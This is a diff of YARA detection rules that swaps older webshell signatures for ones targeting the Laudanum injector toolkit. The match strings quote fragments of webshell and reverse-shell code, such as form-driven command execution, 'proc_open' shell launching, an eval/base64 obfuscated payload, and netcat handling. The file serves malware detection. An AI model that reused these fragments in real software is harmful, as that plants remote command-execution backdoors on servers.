+		$s3 = "Job Save / Load Config" fullword wide
+		$s4 = ".?AVPSCL_CLASS_JOB_SAVE_CONFIG@@" fullword ascii
+		$s5 = "winupdate64.com" fullword ascii
+		$s6 = "Job Save KeyLogger" fullword wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 3 of them )
 }
-rule SIGNATURE_BASE_Klasvayv_Asp
+rule SIGNATURE_BASE_Asp_File : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "3ca4c20c-f879-55a0-9070-d40fc903f9ae"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file file.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e2a80d1f-f2bb-573b-b68c-71e4dfa6e1fa"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3831-L3844"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
-		logic_hash = "eb1b11e02b075a4e7d28b77cf91ad596a85e4c697a36304ee177d46735965e75"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L8-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
+		logic_hash = "9ec19a994571f4d1b40b6d6af3fb6eb4c5004a6439b99863b50dae0262677263"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
-		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
-		$s3 = "<font color=\"#858585\">www.aventgrup.net"
-		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"
+		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
+		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
+		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii
+		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii
+		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
+		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x253c and filesize <30KB and 5 of them
 }
-rule SIGNATURE_BASE_R57Shell_Php_Php
+rule SIGNATURE_BASE_Php_Killnc : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file killnc.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "241611d3-3636-5a25-b3c3-d45d6cb81c78"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3845-L3858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d28445de424594a5f14d0fe2a7c4e94f"
-		logic_hash = "658eec4f3c463ec1a480bcb7ba995b8d81d1fb846832e569751d9f505f0fa87e"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		logic_hash = "431a9a66f5d0e42856ca5716c2994c018f77cc338300abd71d94ffe7e75da3bf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
-		$s2 = "RusH security team"
-		$s3 = "'ru_text12' => 'back-connect"
-		$s4 = "<title>r57shell</title>"
+		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
+		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
+		$s3 = "<?php echo exec('killall nc');?>" fullword ascii
+		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii
+		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
 
 	condition:
-		1 of them
+		filesize <15KB and 4 of them
 }
-rule SIGNATURE_BASE_Rst_Sql_Php_Php
+rule SIGNATURE_BASE_Asp_Shell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file shell.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3ae27254-325a-5358-b5aa-ab24b43ad5a6"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3859-L3872"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0961641a4ab2b8cb4d2beca593a92010"
-		logic_hash = "d15cf69d9ad8683d2ac1ff09b08b0b26ecaf35df8e45bbd5c3a02c393f88cb34"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L47-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
+		logic_hash = "af9c5cf7125e1210761e720c5f30527ac6345b5029b087807309000a29b67f6e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "C:\\tmp\\dump_"
-		$s1 = "RST MySQL"
-		$s2 = "http://rst.void.ru"
-		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"
+		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii
+		$s2 = "%ComSpec% /c dir" fullword ascii
+		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii
+		$s4 = "Server.ScriptTimeout = 180" fullword ascii
+		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii
+		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
+		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii
 
 	condition:
-		2 of them
+		filesize <15KB and 4 of them
 }
-rule SIGNATURE_BASE_Wh_Bindshell_Py
+rule SIGNATURE_BASE_Settings : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "b7acbfe7-fd28-5832-9af2-1c5befe4bbab"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file settings.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "054b8723-fdfa-51dc-91ae-b915e40b2e54"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3873-L3885"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fab20902862736e24aaae275af5e049c"
-		logic_hash = "e38a4f5c23371705f9bbf2db8e65d68074554edc1022576166e76d40e06bc039"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L68-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		logic_hash = "b02e293e659fa77257d0642c57e51d6ae712d9221ae295cf69bb845f68c650ee"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "#Use: python wh_bindshell.py [port] [password]"
-		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
-		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword
+		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii
+		$s2 = "<li>Reverse Shell - " fullword ascii
+		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii
 
 	condition:
-		1 of them
+		filesize <13KB and all of them
 }
-rule SIGNATURE_BASE_Lurm_Safemod_On_Cgi
+rule SIGNATURE_BASE_Asp_Proxy : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "74e77260-a547-5553-8430-2620f8549f50"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file proxy.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6193b48a-b3da-5c1e-84e8-0035d9e7ade6"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3886-L3898"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5ea4f901ce1abdf20870c214b3231db3"
-		logic_hash = "d308ad6cda92fa437b9a4c46cd1b97fb0138aa8d0010256bda56a64ced1c7875"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L85-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
+		logic_hash = "f53c97a2bf31f411b3220dc741b85d0edf96e9b92474f1abd5ac443be6b92897"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Network security team :: CGI Shell" fullword
-		$s1 = "#########################<<KONEC>>#####################################" fullword
-		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword
+		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii
+		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii
+		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
+		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii
+		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii
+		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii
 
 	condition:
-		1 of them
+		filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_C99Madshell_V2_0_Php_Php
+rule SIGNATURE_BASE_Cfm_Shell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "b0724920-dc1e-5819-a99b-618a9a7e1eca"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file shell.cfm"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5308eecf-a59f-5100-ab60-5034c5b73e7e"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3899-L3909"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d27292895da9afa5b60b9d3014f39294"
-		logic_hash = "07922511d9dfdd32f6b1f47479fca2063b773024a20dcab6f5cf4d56d66c3397"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L105-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
+		logic_hash = "961eb398422e3c528b886c150f11dcb8a6832f0ea48e20ddc381e1f2740bd0c6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"
+		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii
+		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii
+		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
 
 	condition:
-		all of them
+		filesize <20KB and 2 of them
 }
-rule SIGNATURE_BASE_Backupsql_Php_Often_With_C99Shell
+rule SIGNATURE_BASE_Aspx_Shell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file shell.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d4287007-79af-59fa-b8c8-3ac08d75b3bd"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3910-L3921"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
-		logic_hash = "7c64e3d4e5815859c51f05cb376f72ea266b31193f3f4588526005e167ebabad"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L122-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		logic_hash = "b31c36f53d46e17b6d97e582e46c540928a386e2075b841f5c11b959a0c68462"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
-		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii
+		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii
+		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii
+		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii
 
 	condition:
-		all of them
+		filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_Uploader_Php_Php
+rule SIGNATURE_BASE_Php_Shell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file uploader.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "62aa783b-f12f-5bb5-9d96-7aee1666788b"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d3dcb16-090b-5a9f-b3d2-3822ec467f69"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3922-L3934"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b53b67bb3b004a8681e1458dd1895d0"
-		logic_hash = "6e6ffc4cad2a956cb2b6667928bac5996cf95cd36f43ba789144c46726471f07"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L140-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		logic_hash = "dc798508434686bbcb4fa0bb47381252bfa0491b0987956fd4c5aa13b7f57810"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
-		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
-		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword
+		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii
+		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii
+		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii
+		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii
 
 	condition:
-		2 of them
+		filesize <40KB and all of them
 }
-rule SIGNATURE_BASE_Telnet_Pl
+rule SIGNATURE_BASE_Php_Reverse_Shell : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file telnet.pl.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "be4de017-e929-5dd3-a60e-f187456b1a55"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "306d150f-95a8-57fd-8f5e-786c429af6b3"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3935-L3946"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dd9dba14383064e219e29396e242c1ec"
-		logic_hash = "2d1abc52fc70ce664a19e49e6fa4175bc8d8785dee332d5273323479d9628a8c"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L158-L173"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
+		logic_hash = "ea8e320abb57e0467db92271f7d36f144f85e04ce15cd9fa8d3f53dfa8d43929"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "W A R N I N G: Private Server"
-		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
+		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii
+		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii
 
 	condition:
-		all of them
+		filesize <15KB and all of them
 }
-rule SIGNATURE_BASE_W3D_Php_Php
+rule SIGNATURE_BASE_Php_Dns : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file w3d.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "1a4e3c84-2d3b-5245-bccc-9a5f59b9fc17"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file dns.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a52e453b-07aa-58b9-91e7-f2426a8e8976"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3947-L3959"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "987f66b29bfb209a0b4f097f84f57c3b"
-		logic_hash = "33f948a1ae4474daddd788df84fa8baabf4390ec242cad9a6a51dac0152d3b75"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L175-L191"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		logic_hash = "650eecc06f215ae6a15078c87d8a8c1597ca9e3d735eacd17b046a9d9deb6aa8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "W3D Shell"
-		$s1 = "By: Warpboy"
-		$s2 = "No Query Executed"
+		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii
+		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii
+		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
+		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
 
 	condition:
-		2 of them
+		filesize <15KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Cgi
+rule SIGNATURE_BASE_WEB_INF_Web : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "b768bb72-64e8-545a-9123-3d5889b58a82"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file web.xml"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d0a008c-56d1-59ef-8521-0697add21ba9"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3960-L3971"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
-		logic_hash = "8908ced96284de6b6d5ae693ba54c49a6333bbe5780d951cbacc91b4dde027df"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L193-L207"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
+		logic_hash = "b58bb63a5268812ed6a5d18c8da96b0fdae33e4802a2fba4964ab69e92517a16"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WebShell.cgi"
-		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"
+		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii
+		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
 
 	condition:
-		all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_Winx_Shell_Html
+rule SIGNATURE_BASE_Jsp_Cmd : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "fe02d995-4375-5ce9-aabe-fae5d29278d3"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file cmd.war"
+		author = "Florian Roth (Nextron Systems)"
+		id = "74db62b8-82d5-5a34-aa72-2f85053715a4"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3972-L3984"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17ab5086aef89d4951fe9b7c7a561dda"
-		logic_hash = "4248f807d66990946523ba7b92d795c2c40429182389d9bf3f4a972e246b50c6"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L209-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
+		logic_hash = "ab5b013a385549322bcb2811fa1a2d14b5633e2c41b9486b1e1c50c02437b8e6"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "WinX Shell"
-		$s1 = "Created by greenwood from n57"
-		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"
+		$s0 = "cmd.jsp}" fullword ascii
+		$s1 = "cmd.jspPK" fullword ascii
+		$s2 = "WEB-INF/web.xml" fullword ascii
+		$s3 = "WEB-INF/web.xmlPK" fullword ascii
+		$s4 = "META-INF/MANIFEST.MF" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x4b50 and filesize <2KB and all of them
 }
-rule SIGNATURE_BASE_Dx_Php_Php
+rule SIGNATURE_BASE_Laudanum : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Dx.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "67d0bccb-d39a-5e30-bdc0-801525ebddd7"
-		date = "2023-12-05"
+		description = "Laudanum Injector Tools - file laudanum.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8c836aba-3644-5914-a3ff-937d0a6cd378"
+		date = "2015-06-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3985-L3997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
-		logic_hash = "ab43ddcf317eb4db890ca9750dc6bbc19b06b806339a67c82216df02bc2e8446"
+		reference = "http://laudanum.inguardians.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_laudanum_webshells.yar#L228-L242"
